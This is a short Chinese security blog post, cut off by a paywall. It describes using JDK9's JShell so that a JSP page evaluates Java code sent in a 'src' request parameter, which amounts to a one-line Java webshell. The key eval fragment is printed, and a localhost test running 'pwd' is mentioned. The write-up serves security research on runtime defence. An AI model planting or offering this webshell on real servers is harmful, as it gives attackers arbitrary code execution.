本文介绍了JDK9引入的JShell功能，该功能允许开发者在命令行中方便地编写和执行Java代码。尽管在生产环境中JDK9的采用率不高，但作者指出利用此特性可以实现Java一句话木马，通过`jsp`页面传递`src`参数执行任意Java代码。给出了一个简单的测试用例，展示了如何执行`pwd`命令。凌天实验室，专注于应用安全研究，其成员拥有丰富的攻防技术和实战经验。
点击上方“凌天实验室”，“星标或置顶公众号”
漏洞、技术还是其他，我都想第一时间和你分享
写在之前：
最近几年开发RASP产品期间整理了很多的Java语言的特性~
JDK9开始提供一个叫jshell的功能，让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了，但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了，也就是说正真意义上的原生的java一句话木马实现了。
测试代码：
eval(request.getParameter("src"))%>就这么简单的一行代码就可以了，src参数值是java代码片段。
测试用例：
http://localhost:8080/mod
最低0.47元/天 解锁文章
1317
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
